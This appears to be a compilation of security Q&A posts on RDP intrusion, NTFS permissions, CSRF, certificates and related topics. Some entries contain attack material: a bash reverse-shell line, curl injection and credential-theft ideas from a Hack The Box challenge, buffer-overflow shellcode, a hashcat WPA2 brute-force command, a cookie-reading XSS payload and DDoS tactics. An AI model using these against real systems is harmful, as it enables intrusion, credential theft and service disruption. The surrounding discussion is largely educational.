How can I determine whether Remote Desktop hacking was successful? I noticed that my uplink bandwidth during a speed test seemed reduced, so I started investigating my network activity with Resource Monitor.  I found that svchost.exe was transmitting ~2kB/sec (~16kb/s) to 209.7.101.10, reportedly Illinois Century Network, a backbone provider in Springfield, IL.

With process explorer I discovered that this svchost.exe PID was tied to an RDP session while I was logged in locally.  I disabled remote desktop access and the process using the bandwidth immediately died.  Of course my RDP port is open to the world, by design, so that I can access it away from home.

It appears clear to me that there were unauthorized attempts to access my PC remotely.  How can I determine whether or not an RDP login attempt was successful?

I've checked in the TerminalServices-RemoteConnectionManager Operational logs and I can see what appears to be a smattering of common user names: "forms", "cecilia", "voicemail", "diane", etc.  None of those accounts exist on my machine.  Here's a sample entry:

Remote Desktop Services: User authentication succeeded:

User: diane
Domain:
Source Network Address: 209.7.101.10

Mitigation

In the meantime, I've disabled remote desktop access.  If I choose to restore it, I'll likely change the default port number at minimum.  Anyone know how easy that would be to defeat via port scanning?  A more secure method would be setting up SSH tunneling, though the Microsoft Android RDP client app doesn't support this.

Non-server editions of Windows only allow one user to be logged in at a time, so a successful login via RDP will kick you out and you will probably notice.

You can also find successful RDP login in the Security event logs by looking at the logon type. It is possible to use an XPath filter for this.

The bandwidth usage you're seeing is probably RDP serving the login screen. You can change the settings to require Network Level Authentication which validates the credentials before a connection can be made (no login screen).


Where are NTFS security ACLs stored on Windows systems? Are per-file and directory access permissions for an user or a group stored as part of the NTFS structures on-disk? Or are they recorded in the registry database for an installed Windows OS, or elsewhere yet?

In practice, assuming several NT-class OSes accessing common HD volumes, can I safely make mods/repairs to the access permissions on one without affecting the other windowses? In other words, will any file system object's permissions that are set/modified while running OS 1 affect the permissions applicable to the same object, as seen while running OS 2 at a later time?

The question is limited to Windows NT type operating systems only.

On NTFS volumes, various access permissions applicable to securable file system objects such as files and folders are stored as metadata (Access control lists, ACLs) that are part of the file system. During normal operation, Microsoft Windows NT and successor OSes enforce said permissions  strictly.

If a given NTFS volume is to be used alternatively in 2 or more different installed OSes, one must therefore be very careful not to mess with or destroy existing permissions, set in another OS and which may be necessary for the proper operation of it - especially permissions on system folders and files.

In the particular instance which affected an old windows 2000 Pro, I had carelessly messed with permissions for its whole System32 folder hierarchy, using a "convenient" point and click so-called "unlocker assistant" while running Windows 7.
Repaired the mess, while running Windows 2000, by reapplying the "secedit" to (an extract from) the relevant default security template (found at %SystemRoot%\security\templates).


Leveraging curl to spawn a shell So I'm doing a HTB challenge where I have leveraged the targets box use of reading a file that sets a url for curl in order to transverse down the directory and display the root flag in a report that is part of the exercise.

File Content: url = file:///127.0.0.1/../../../root/root.txt

All cool.

What I want to do is further leverage this to somehow spawn a shell by reading /bin/bash. I can read garbled version of /bin/bash in the report file but I cant figure how to execute it in a way that will give me an interactive shell.

What can I do in in order to achieve this?

EDIT:

I can create a reverse shell from my current user using bash and the below command, just cant get it to execute as I'd like from 'within' curl.

bash -i >& /dev/tcp/192.168.1.10/8080 0>&1

Depending on how curl is launched, it may be vulnerable to parameter injection. Since you control one parameter already (the URL), you might be able to use characters such as spaces and apostrophes or quotation marks to inject a -o <file parameter, which would cause curl to write its output to that file. If you can do that, there are lots of options (especially since curl runs as root), such as dropping a crontab file with a command to invoke your program in a minute. Less likely to work but still worth checking is whether curl is running within a shell, in which case you may be able to use shell injection (such as backticks or $( ) around a command) to execute an arbitrary command directly.

There is no way for reading a file to directly cause code execution. However, you could try reading files that might be useful for getting remote access to the box. For example, check the SSH authorized keys, and see whether the corresponding private keys are present on the machine; if so, steal them and use them to SSH in (though you might need to break a password on the private key first). You could also try stealing the password hashes from /etc/shadow and cracking them; it's a long shot but maybe there's a weak password on one account that you can guess, and then use to SSH in with password auth. Alternatively, you could try to retrieve any cloud provider credentials (AWS or similar) and use them to gain control of the host through the cloud provider's infrastructure.


Privilege escalation fails outside gdb I have an application with the following source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

Inside bof with the strcpy(buffer, str) i am trying to achieve privelege escalation using buffer overflow. Inside gdb with the following command i am able to open a new shell: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Outside gdb i know that the memory address change a bit so i have tried with the same command using some nops too: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30  + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
I have disabled ASLR, NX bit and stack canary. Though the result of the last command above is Illegal instruction (core dumped)What am i doing wrong here? (The suid bit of the application as root is enabled)

You should familiarize yourself with the terminology. What you're trying to do has nothing to do with privilege escalation. What you want to do is code execution through buffer overflow.
I suggest you read the input for overflowing the buffer from stdin (gets), that is a lot more straightforward than reading it from a file. You can then do

python -c "<python encoded binary payload>" | yourprogram

That should do the trick.


Is it possible to make a "proof of anteriority" for sites content? Given a site that publishes unique content online and given that there are lots of site scrapers and persons stealing content and reposting it as their own, inevitably you will have the same content hosted on different sites.

Is there any measure that can be taken to later prove, beyond any doubt, what the original source of the content was?

What you want here is not "non-repudiation". Non-repudiation is about preventing the true author of a document from later on claiming that he was not, in fact, the author, and cannot be held responsible for the document contents.

No, what you seek is quite the contrary: you want to prevent non-authors from claiming that they are the true author. You want to prove that you produced/published the data first. This is called a proof of anteriority. In the non-computer world, this is done with a Soleau envelope (in France). The computer equivalent is Trusted Time-Stamping: an "authority" (called "TSA") applies a digital signature on a structure which contains both the current date (as known by the TSA) and a hash value; assuming that the hash function is cryptographically strong (resistant to second preimages), this signature is a proof that "whatever was hashed" already existed at the date contained in the time stamp. All you have to do is then to time stamp a copy of your content along with an unambiguous designation of yourself (say, your name).

How a time stamp may hold in court, during litigation, is a complex question. It depends on a lot of things. In France again, there is a notion of horodatage qualifié which designates a TSA whose systems apply a lot of security measures which collectively ensure that the time stamp is trustworthy; it is all spelled out in this document (in French). Supposedly, a time stamp from such a TSA would be accepted as proof "by default", the burden of proof being placed squarely on whoever claims that the time stamp is fake. Actual rules are heavy: redundant physical security, regular audits, background checks on all developers and operators... and, last but not least, demonstration that the TSA uses a time source which is accurate to the second, and cannot be easily subverted remotely (e.g. simply using some NTP servers on the Internet is not sufficient, since NTP packets can be spoofed). The "under 1 second accuracy" rule is especially troublesome, because computer internal clocks tend to drift by more than one second per month, and leap seconds cannot be simply ignored, as is customary in computers.

Of course, one would have guessed that France would go for a centralized, bureaucratic set of byzantine rules. In countries with a Common Law tradition (in particular UK, USA, and Commonwealth members), it is expected that whether some time stamps are acceptable as proof "beyond any doubt" or not, will be asserted by judges in the course of the resolution of actual litigation. Which means that question is still, as of now, open.

If you really want, now, to establish your authorship of your works, I suggest that you print them out on actual paper, and use established pre-computer procedures, e.g. registration with a specialized office (of course, there may be fees).


How to extract windows event logs from a hard disk forensic image? I have created an image of hard disk using FTK imager. I want to extract the windows event logs. The system was running windows 7. What should I do?

Windows event logs are stored in the following locations by default:

2000, XP and 2003

C:\Windows\system32\config

Vista+

C:\Windows\system32\winevt\logs

Event and parameter message templates

The event and parameter message templates specific to each type of log are stored in DLLs (so you can interpret the messages and parameters in context for each log) and their location is stored in the Eventlog key in the Registry, located at:

HKLM\SYSTEM\CurrentControlSet\services\Eventlog

You can also use this key to validate that the event logs are being stored in their default location since an administrator can change this (such changes will be reflected within this key sub-path).

"Dirty" evt logs

When copying event logs off of a live system, for the older *.evt logs (2000, XP and 2003), they have a file status byte that sometimes can prevent reading the logs in standard viewers when it is an odd value. Fixing the logs is well documented, and there used to be a tool called fixevt.exe that made this easier but I don't know of a reliable download source so I'll leave this exercise to the reader to find it (the site where it used to be located indicates the hosting provider account was suspended).


How can perpertrators of denial of service attacks, determine the impact their attack has had? Although I know how a user could mitigate Dos attacks and detect their presence e.g. checking packets received and sent, comparing current CPU usage to normal, comparing network usage to normal etc.

Other than comparing the speed the target system is now receiving packets, how else can perpetrators of denial of service attacks, determine the impact their attack has had?

Recent attacks seem to have been aiming to get media coverage of outages - see things like the December 2014 Lizard Squad attacks on Xbox Live and PSN, or the November 2015 Armada Collective attacks. Throw enough traffic at a high profile target (social network, gaming service, news service) and sooner or later you'll get media reports about it.

Beyond that, there isn't much you can do - by definition, a successful attack will result in the service under attack being unreachable. If you can reach it, you need more traffic, or to re-route your traffic, or to change the type of your traffic - if a server can handle huge volumes of HTTP traffic, can it handle the same volume of HTTPS traffic? It's not massively more difficult to serve, but caching might be set up incorrectly, resulting in higher load on servers. If there is a firewall dropping connections after a relatively low number of attempts from a given IP address, you need more IP addresses, to keep the number of connection attempts from each down. Is the system handling everything without any problems? Try doubling the number of connections.

The other thing to be aware of is that the attackers are not necessarily the people running the systems that are doing the attacking. This might seem counter-intuitive, but there are various DDoS-as-a-service type offerings around. An attacker can pay for a certain level of traffic to hit a given IP address or domain name, at a given time, and, from their point of view, it just happens. In that case, they might get some basic stats (how many connections are being dropped, total connections, total bandwidth required to handle everything being thrown at the system), but will have limited ability to affect these - they can pay for more traffic, but probably not control where it comes from. Some of these services tend to be open to bribery too - can you pay more than whoever you're attacking? If not, they might just pay off the service - the service still gets the money.


Is there an equation to calculate the number of instances of a series of characters exist in a given key space? If I'm using 16-18 character-length passwords with 94 different possible values-per-character (lower alphas, upper alphas, numbers, and special characters), is there an equation I can use to calculate how many times a series of the same value will be presented?

What I'm trying to find out is with granular password complexity programs, you can specify the max number of characters that can be seen adjacent to each other before they are discarded.  What I want to know is, if a low value (e.g. 2) is used, how severly does this impact the key space for resistence against brute force attacks.

As in, in a 16 character password's keyspace of 94^16, if the number of same-values can't be 2 or more, how many possible passwords are removed from the available passwords an attacker has to use?

e.g. in the case of 2 same-value characters, the following passwords would be rejected:

12345667890abcdefgWW - because of the 66 and WW
sadfl;jkxz089--qwer - because of the --
a;lksdjf%%;slkdaj;;zlc - because of the %% and ;;
2134@!#$SAf;ljkasdf$$$$cQ - because of the $$$$

...is there an equation to perform this type of calculation?

For n-character passwords without two identical adjacent characters, @Stephen gives the solution: that's 94*93n-1 passwords. Reasoning is simple: you are free to use any of the 94 characters for the first character, then for each subsequent character you may use any of the 94 except the one which you just used, so 93.

For n = 16, you may see that you keep about 85.2% of the complete space of 9416 possible 16-character passwords. You lose less than 15%, so the security reduction is not huge.

If you want to avoid sequences of three identical characters, then the computation is more complex, but the involved space reduction will necessarily be lower, because any password with three consecutive identical characters is also a password with two consecutive identical characters. Therefore you will always keep at least your 85.2% of the original space. Moreover, the number of passwords with three identical consecutive characters is no more than (n-2)*94n-2 (this is a gross overestimate); for n = 16 this figure is about 0.16% of the total space, so ruling out passwords with three identical consecutive characters will leave you more than 99.84% of your original space.

For the formula above, I just "choose" the position for the first character in the three-character sequence, and I get to choose n-2 characters freely. This is an overestimate because I am counting twice the passwords with two sequences, thrice the passwords with three sequences, and so on. But an overestimate is sufficient to show that the space reduction effect is negligible.

Reduction of user patience, however, might not be so negligible. Remember that every single "password complexity" rule will be considered as a burden by the user, and antagonizing the user is the last thing you really want in practice.


Safety of opening .txt files via URL If I'm given a URL that points to a .txt file, is it always safe to open it? Can it possibly contain virus or malicious content?

A file named .txt, can still have a "dangerous" content type. E.g. Apache allow you to set "Content-Type: text/html" on .txt files (or to what ever on what ever). A file with content-type "text/html" will be rendered as a html page in the browser.


How to Choose and adopt information security model I would like to ask about how can someone adopt certain security model in the organizations what are the criteria that controls how I can pick the best security model for my organization

For example I have set up an security services (pentest- vulnerability assessment- secures network desing) and security training org. I want to adopt on the Ifo. Sec. mngt. model but I don't know what should I look for when choosing the proper model.

Thanks

I would suggest that you have a look at the ISO27000 series - these documents act as a framework for information security.


Yi Dome Wifi Camera / Yi Home App - Network Security I have ordered one of these wifi cams however I am curious if anyone may have any input to offer on the security of the device as it relates to the network. My understanding is that they are set up through the Yi Home app, and that the camera is connecting outside the local network to the mobile application through the Yi servers. The camera is also able to be accessed from outside the local network via the app without any port forwarding being required on the local router. Personally I would prefer the ability to have the camera only be accessed on the local network through a VPN rather than having it exposed to the WAN. Does this seem like there may be reason for concern about possible intrusion into the camera since there is no way to block it from being accessed from outside the network?

YI Dome Camera Pan/Tilt/Zoom Wireless IP Security Surveillance System 720p HD Night Vision (US Edition)

https://www.amazon.com/dp/B01CW4BG4K/ref=cm_sw_r_other_apa_7QmrybTS4SN36

I think that, while I don't have direct experience with this camera nor with the manufacturer, recent knowledge would show that you would NEVER trust such a setup.

With the best will in the world, the reason for buying direct Chinese kit is because it is very cheap. That's fine, I do so myself. But I would never trust any "security" product (from any country actually) that required a vendor website connection over the Internet in order for it to work.

You will have to assume that other people will certainly have access to the output of the camera. You should also assume that others can take control of the camera or add it to one of the several known (and how many unknown I wonder) botnets out there.

If you can use the camera directly, make sure you configure your routers firewall to block outbound traffic from the camera. Use your router's DHCP settings to fix it's IP address while you are at it which will make it slightly easier.

The reason no router/firewall configuration is required for the WAN connection is that the camera makes a connection out to the vendors servers and then keeps that connection open. Well hopefully that's the case because the alternative is that it uses UPnP to open an inbound hole.

By the way, if you cannot use the camera directly, I strongly recommend you return it unopened. Because even if the security were OK, you will never actually own the camera, you will only be leasing it until the vendor goes broke or gets bored with running the service. Then all you have is another paperweight.


Phishing urls from shnpoc.net/McAfee? I was looking into my websites traffic and found few entries from a subdomain for shnpoc.net domain. And when I looked into it, it was transparent proxying my website.
On checking further, I found this twitter post which states that the domain shnpoc.net is owned by Sky High Networks which is a subsidiary of McAfee.

These are a few more domains:
 1. Suspicious shnpoc.net domains
 2. Some more

My website URL is not in the list, but it has a similar sudomain, something of the sort of https://xxxx.yyyy.xxx.vignesh.shnpoc.net.

On checking SSL certificate some have Skyhigh Networks Inc. in owners name and some have McAfee LLC

What are these URLs? Are these phishing URLs?

I don't understand why SHN or McAfee needs to have these URLs?
Can anyone help me understand, what's all this? Whats happening?

Your company might have started doing a POC to acquire McAfee's CASB's product and as such is transparently redirecting some of your web traffic to their products. You might want to reach out to your administrator to get this clarified.


Is SSL required for sites hosted behind WAF? We have a website hosted behind WAF and we will be using HTTPS. The server already has a valid SSL. Do we need to install SSL on WAF servers also?

A WAF applies filter rules on traffic at an "application" level (e.g. it tries to detect SQL injection attempts). This requires that the WAF sees the traffic, i.e. whatever SSL which may have happened on the client side must stop at the WAF. But you usually want some SSL to protect the traffic between the client and the WAF (in fact, you usually want it more on that link than between the WAF and the server itself, since WAF and server are usually nearby to each other).

There are two ways for a WAF to see SSL-protected traffic:

The WAF has a copy of the private key used by the (SSL-aware) server, and thus can decrypt the data as it flows. (This can imply some restrictions on the cipher suites used by the server; namely, no DHE).
The WAF itself runs a SSL server, and that is the one which the client sees. The WAF decrypt the data, runs its magic on it, and then forwards it to the server over a new connection which may or may not be SSL-protected.

Which one you use depends on what your WAF instance can do and how you configured it.


Is it secure to use a keystore that stores the password as a reversibly encoded string? Recently I was having a look at the Merlin security provider documentation for Apache, and noticed that they store the keystore password (org.apache.ws.security.crypto.merlin.keystore.password) as a reversibly encoded string.

I was under the impression that it's never a good idea to store passwords in a string because we cannot reliably erase them from memory am I missing something about this particular implementation?

I'm not really sure what the context of the linked documentation is... but it seems like an interface for interacting with a keystore like the Java Keystore.

If the password is used to decrypt private keys, then you'll need to store it in some form until you're done using it. That means storing the password, or decrypting all the private keys you need, and discarding the password. Either way, you'll be keeping something secret in memory.

This is the constant tension we face in security. The only truly secure private key or password is one you cannot access. But if the key or password is to be useful, it needs to be held in memory at some point in time.


Are login pages with no retry counts/lockouts a security risk? I found a login page for a city/edu organisation that has no session times, no retry counter/lockout, and no delays if too many tries are made in a certain timeframe. I am able to exploit this to get a lower level/student password in under 10 mins (assgnes password by the organisation arent very good). Should I report this to them?

EDIT: Should also mention this is also useable to gain access to higher level credentials, they would just take more time as they are custom passwords.

Careful!  Based on what you're saying, you've already donned the Hat, and now it's up for interpretation whether it's a Black, Grey, or White Hat.  Depending on localities, you may actually have already committed a felony.  System administrators can get very protective of their systems, and they don't always see the honest-guy-shows-you-your-lock-is-broken angle.

This may be a job for anonymous tips, unless you have a good working relationship with a staff member who could report it for you and keep your identity confidential.

It absolutely does need reporting, but don't accidentally martyr yourself being a good Samaritan.


How to brute-force WPA-2 password of specific set of characters using oclHashcat? I want to test oclHashcat on a WPA-2 PSK password of length 8 containing only characters in the set {a-z, A-Z, 0-9}.

To do this I have already captured the handshake in a .cap file and converted it to a .hccap file.

All tutorials I've found explain how to brute-force using a wordlist. But in this case, the password is random generated, has length 8, and contains only characters in the above set, so a wordlist won't be of much value?

How do I tell oclHashcat to start brute-force WPA-2 PSK using only candidate passwords of length 8 and with characters in the above set??

Check the mask_attack page of the hashcat wiki.

For your case:

oclHashCat64.bin -m 2500 -a 3 -1 ?l?u?d ?1?1?1?1?1?1?1?1 [YOUR HASH OR HASH FILE]

"-m 2500" specifies the WPA/WPA2 hash type, per hashcat documentation
"-a 3" is the brute force attack mode
"-1 ?l?u?d" says to use the character set of lowercase, uppercase, and digits (the character set you desire in your question)
"?1?1?1?1?1?1?1?1" looks for precisely 8
characters using your character set

Note that I don't have access to my hash cracking box at the moment to test this.  Run oclHashCat64.bin without parameters to see the help options.

Additionally, replace the binary name with the version you're using - cudaHashCat.bin for NVidia, omit the "64" if you're using the 32-bit version, etc.


Can Google Chrome read/scan my ProtonMail inbox page? If I used Google Chrome to visit ProtonMail website, it would not be difficult for Google to read my emails since it would just need to scan/read the content of the page. Messages are encrypted just on the servers, not on the browser. Should I then use Chrome or another browser to check my inbox?

Should I then use Chrome or another browser to check my inbox?

The problem is probably less the browser since this browser is used by lots of others and such behavior might be detected. More of a problem are likely browser extensions you have installed, malware injected into the browser or any software which does SSL interception. SSL interception is done by various antivirus software, ad-injection software like superfish or by several corporate firewalls. It can also be done by malware.


When would I use the origin header vs SameSite directive vs csrf token for CSRF defense When would it make more sense to:

check the origin header
use a CSRF token (in double submission or something)
Use the SameSite cookie directive

for CSRF defense. Checking the origin header seems like it offers the most versatility over the other two, so I'm not sure why I'd want to use the other two unless I don't trust the browser to enforce the origin due to a flash bug or something (in which case I'd use the CSRF token).

OWASP has a great set of recommendations for dealing with CSRF:

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

You can use only an Origin and Referer check for CSRF protection without any other measures, if in the rare case that you receive neither header, you simply block the request.  It was common once for users to spoof or disable the sending of Referer headers for privacy reasons, and older browsers may not send the Origin header.  This probably doesn't really matter in 2017, but it depends on your needs.

You need to be able to extract the relevant info of the origin (eg hostname) from either header (which can include a full Referer header) and compare it with your target origin in a robust way.

I feel that a double-submit cookie (eg randomly generated token and cookie each time) may be simpler to implement.


Should I worry if I have tried to ssh into a 'fake' dyndns.org site? (with ssh keys) I often ssh into servers for work and play using dynamic dns with ssh keys that are password protected. Twice now (shame on me!) I have mistyped the dyndns.org part of the address and been greeted with several password prompts making me think id mistyped the password, before realizing the url was wrong.

I can see why someone would do this as if a site is not protected by ssh keys then the (probaly) nefarious site admin could then use the captured password to log into the fat fingered (like me) misptypers server.

But my question is: do I need to worry?
(or in other words was my paranoia heart attack quickly change my ssh keys stress justified?)

Change your password.

Anytime you enter a password into an unknown server, change it immediately.

I don't believe your keys would be at risk, as the private key itself is never transmitted, only used to sign a piece of data to verify that you do in fact have it.


Is typing the PPP password in the PPP username a risk? I went to my router admin page where first you need to type in the router's admin and password. I am not talking about that. I am talking about PPP account and password (separate from router's username and password). By accident, I typed in in the PPP password where the PPP username field is. Is my router at risk?

No.  There is no security difference between the username and password fields here.


How to securely transmit data (user access info) from node server to react client Just for a little background. We have a express based server and a React app which uses HTTPS connection with JWT tokens to authenticate user and send appropriate information over Authentication Headers.

However, once the user logs in, the server also needs to send access control information about the user for conditional rendering. Is there a way to hide this information from the browser. At present, when the user logs in, the response of the post call contains the roles pertaining to the user.

I'd like to know if there is a way to hide the information from dev tools. We are leaning towards webcrypto to encrypt the roles data on server side and send it to client, but just wondering if there is a better way. Or if I am overthinking.

Thank you.

No. If you fetch such information for the user dynamically, there is no way to hide it from the browser.

In the end, the user will have to decrypt the encrypted roles. A bad actor will simply check the JS responsible for this part and log the information as it's being decrypted. You cannot stop this without changing your architecture.


Why can't someone break email or https encryption by somehow getting access to the encryption key? To repeat, "Why can't someone break email or https encryption by somehow getting access to the encryption key?" In other words, why can't someone intercept the key, or the algorithm to create the encryption key, using packet sniffing? After this, why can't they use packet sniffing to also get other data that is sent via https, and then decrypt it using the key? Is this possible, unlikely, or simply impossible? This is related to this question: Why is it possible to sniff an HTTPS / SSL request? But my question is, is it reasonable for someone to obtain a session key through sniffing? Also, what are the other ways someone could obtain a session key?

Maybe you can see that it is indeed possible to send a secret over an untrusted path by the following (somehow simplifying but illustrative :-) example

You don't trust the post office and want to send me a gift

You can achieve it in the following way

You put the gift in a box and lock it with YOUR lock
You send the box to me and I additionally lock it with MY lock
I send it back to you
You remove your lock and send it back to me
I remove my lock open the box and take the gift

The mathematical approach behind key exchange protocols is somehow similar. The most fundamental of them is the Diffie-Hellman key exchange.

I hope that makes things a bit more intuitive.


Safest method for self-signed certificates on client? Context of Problem

I am writing a piece of middleware.  The middleware runs on a client machine.  It downloads material from a server (using normal SSL), decrypts the material using a private key on the client machine, and provides a standard interface for third-party applications to access.  The third-party applications expect an SSL certificate, even when they are configured to connect my middleware on localhost.  I don't want my users to have to click through security exceptions, and these days not all applications even allow for security exceptions to be made.

Therefore, after installation my application needs to support an SSL connection without the user having to fight against a self-signed certificate, but obviously without opening the user to MITM attacks.

Proposed Solution

This is the best plan I have right now for the client installation process:

Generate a CA locally
Generate a certificate locally for domain localhost
Use the CA to sign the certificate
delete the .key file from the CA so it can never be re-used
install the CA .cert file to the system's trusted CA list

Question

Are there security holes in this plan?
Is this strategy in use anywhere else?
Is there a better way to approach the problem?

Clarification

Let me be really clear, the server does have an SSL certificate.  When the middleware talks to the server, it uses SSL.  That is not in question.  It is the connection between the 3rd party client and the middleware (which are both on the client machine) that is in question.

What needs to work:  I need 3rd party clients to connect to my middleware as if it were a remote server in a seamless fasion.  If the 3rd party client were a browser, it would look like a little green lock icon next to the https.  The user should not to have to accept security exceptions.  Some 3rd party clients will not allow security exceptions at all, resulting in outright rejection of self-signed certificates.  That is obviously obnoxious for my users.

What I am trying to protect against: I do not want to add a CA to the client machine that allows anyone who gains access to the machine to execute MITM attacks.  That is why I would be deleting the CA .key file as soon as the localhost certificate was signed.  Theoretically, a MITM attack could be launched with just the generated localhost certificate, but only against localhost connections, and not against www.mybank.com.

What I do not see as a threat: Anyone who has access to the client machine will already have access to everything passed between the 3rd party client and the middleware, as most 3rd party clients don't encrypt the materials they recieve from the middleware.  Therefore I don't see the security of the generated localhost certificate as being particularly relevant.

The question you need to clarify is what you're trying to protect against. Your solution is fine if all you need is the little green lock icon in the browser, but it gets significantly more complicated as you start requiring more.

For instance, are you trying to protect the application from attack (what attacks?), or are you trying to protect the user from an attacker reusing the localhost certificate for other reasons?

In any case, an attacker on the machine can get access to the raw private key of the localhost certificate, or access to use the private key, regardless of the state of the CA.

This can be made more difficult by running the service as a separate service account, and locking the key to that user, but any administrator on the machine can bypass this. You can then mitigate this further by making sure the human users aren't running as admin (this naturally turns out to be the hard part).


Can PGP's Web of Trust be used to learn more about a person than just their identity? Let's assume, that my PGP key has been signed by some number of people and vice-versa. Also, that the keys and signatures were published to the keyserver.

My understanding is that a random person knowing my public key, should be able to find out who I've met or at least had enough contact to convince them to trust me. But are there any other information which could be used in a malicious way, that one could conclude from the Web of Trust?

Not sure this is the best of answers but as nobody else has yet stepped up ...

It totally depends on who signed it and how unique that set of people is. If, for example, it were signed by all heads of state for the G9, that probably tells someone a lot about you. Similarly, if all the signers were from your family.

Timestamps could also leak information in the same way as the signers. If all your signing timestamps occurred within a few minutes, that might indicate it happened in person for example. I'm sure there are better examples but hopefully you get the drift.

How practical is that? Not terribly I would guess except in certain very limited cases.


Why is 0x41414141 associated with security exploits? This article and this search suggest that the 32-bit word 0x41414141 is associated to security exploits.

Why is 0x41414141 associated to security exploits?

It's nothing fundamental.  It's just a historical convention, like using foo as the name of a variable when you have no clue what to name it.

In more detail: The simplest way to test for a buffer overflow is to type a long string of A's (AAAAAAAA...) into a text field, and see what happens.  If the program crashes, it might be vulnerable.  If the program crashes and a debugger shows 0x41414141  in the program counter, ooh boy, you hit pay dirt: the program is almost surely vulnerable. (Remember, the ASCII code for 'A' is 0x41 in hex, so 0x41414141 is what you'd see if you looked at the byte-level representation of a string of A's in a hex editor.)

Why A's?  No reason at all; they're just the first letter in the alphabet.

So, this is a quick-and-dirty test that pentesters sometimes use.  But of course, there's nothing special about 0x41414141.  Douglas Adams fans could type in a long string of B's, and then look for 0x42424242.  That'd be equally effective, and even more fun.  I gotta remember to use that one in my next hacking demo.....


Is that possible to execute reflected XSS if you return JSON from XHR request? I am a beginner in security testing. I was testing a form in a website for XSS vulnerabilities and I noticed that the data is sent as JSON data with XHR request and the response is also as JSON.

Is it is possible to search for XSS in such forms or is it a waste of time?

Very rarely, but yes. A perfect example would be when the application dynamically retrieves URL's to be shown as links, you could inject code like so:

{url: "javascript:alert(document.cookie);", title: "Click me for cookies"}

{{ title }}

Either that or the URL is parsed using the eval() statement (even more rare, but I've seen it happen)


When distributing a CRL over HTTP, what is the optimal refresh time? What logic affects this decision? When distributing a CRL over HTTP, what is the optimal cache and max age settings (etc) for this distribution mechanism?

Related information on a different answer

  Consider using HTTP instead of LDAP- Although AD DS enables publication of CRLs to all domain controllers in the forest, implement
  HTTP instead of LDAP for revocation information publication. Only HTTP
  enables the use of the ETag and Cache-Control: Max-age headers
  providing better support for proxies and more timely revocation
  information. In addition, HTTP provides better heterogeneous support
  as HTTP is supported by most Linux, UNIX, and network device clients.
  Another reason to not use LDAP is because the revocation window to be smaller. When using AD LDAP to replicate CA information, the
  revocation window couldn't be less than the time for all sites in AD
  to get the CA update. Oftentimes this replication could take up to 8
  hours... that is 8 hours until a smartcard user's access is revoked.
  'Todo: the new recommended CRL refresh time is: ?????`

...

  OCSP Cache duration

  All OCSP actions occur over the HTTP protocol and therefore are
  subject to typical HTTP proxy cache rules.

  Specifically the Max-age header defines the maximum time that a proxy
  server or client will cache a CRL or OCSP response before using a
  conditional GET to determine whether the object has changed. Use this
  information to configure the web server to set the appropriate
  headers. Look elsewhere on this page for AD-IIS specific commands for
  this.

I'm afraid the answer will be "it depends". How many simultaneous requests can your server(s) handle? How important is it to your organization that  information about a revoked certificate be propagated quickly?

If you put the Max-age setting too high, a revoked certificate will still be able to connect for up to the max-age setting. If you put it too low, you risk having too many clients connecting at once, bringing your CRL servers to a halt. Which of these factors is the most important one depends on the priorities of your organization.

If you e.g. have a requirement for a certificate revocation to propagate within 5 minutes, you need to make sure that your CRL servers can handle the load of every single client sending a request every 5 minutes - which means stress-testing the server with maybe thrice that load to be sure that it will be able to handle unusual circumstances. If your servers can't handle that load, you will need to either increase computer power, or accept that you can't propagate the CRLs that fast.


Known plaintext; What cipher is being used here? plaintext: CANDY VERY CRANBERRY

ciphertext: TXOtWjYhVk 8&O$4AmSA

plaintext: http

ciphertext: cZf.

plaintext: http

ciphertext: r5Hz

This is definitely somehow decodable from ciphertext.
The ciphertext is always the same length as the plaintext.
Frequency of letters in the ciphertext doesn't match the plaintext.
The available charset seems to be upper and lower case alpha, plus .&-,%!$ and maybe others among the printable characters of utf-8.

This could be encrypted with any key length that is equal or longer than 28 characters (sum of lengths of ciphertext you provided) and as such unsolvable. The character variation between the plaintext CANDY VERY CRANBERRYhttphttp and its ciphertext TXOtWjYhVk 8&O$4AmSAcZf.r5Hz is:

17,23,1,48,-2,74,3,35,4,18,0,-11,-44,14,-42,-14,-4,27,1,-24,-5,-26,-14,-66,10,-63,-44,10

or visually in a scatter plot:

I don't see any pattern in it. The encryption is obviously not a simple letter substitution, otherwise same plaintext characters would translate into same ciphertext characters. The function could still be a simple modulo n + shift k though. For example, using n of 32 and k of -80, the key (or rather the first 28 characters of a key of unknown length) could be:

agQ`NZSSTbPED^FBLkQ8K6BNZ1DZ

Or agQXNrSsTbPEL^NBLkQ8K6B6Z9LZ with 40 -80 respecitvely. Of course, there are countless values of n and k that produce 28 printable character strings, and we can't say for sure only printable characters are accepted for the key either, or indeed that this is the encryption method used. Scatter plot suggests good randomness, which doesn't exclude advanced encryption algorithms such as AES, but nether it does a running key cipher or, as @Luc mentiones in the comments, one-time pad where the key used is at least as big as plaintext.

Your question is thus - with the data you provided being insufficient to detect any patterns or repetition - unsolvable.


Why is JS:Cryptonight considered a virus? Why is JS:Cryptonight (crypto miner) considered a virus?
It does seem like a good alternative to ads. (According to https://coinhive.com/)

You are correct. It's not self-replicating it's not a virus.  It is, however, malware because it steals a victims' resources without their knowledge/consent.

Pretty much anyone who understands the code is going to block it with something like NoScript, while the rest of the victims who don't understand what it is or what it does will have compute power and bandwidth (which ultimately costs them real money when they have a higher electric bill or less battery life on their phone) taken from them.

Just because the code is on a website doesn't make it any less malware ... if someone wrote a bitcoin miner into winzip or the dropbox client ... people would riot (and rightfully so).

Ultimately this question is opinion based and should most likely be closed.


Why does Apple require your passcode when you restart? On an iPhone or iPad, you can set up "Touch ID", which is a way to unlock your device using your fingerprint. I don't see why this wouldn't be much more secure than a passcode lock, as anyone can guess/see/know your passcode, while you cannot impersonate a fingerprint.

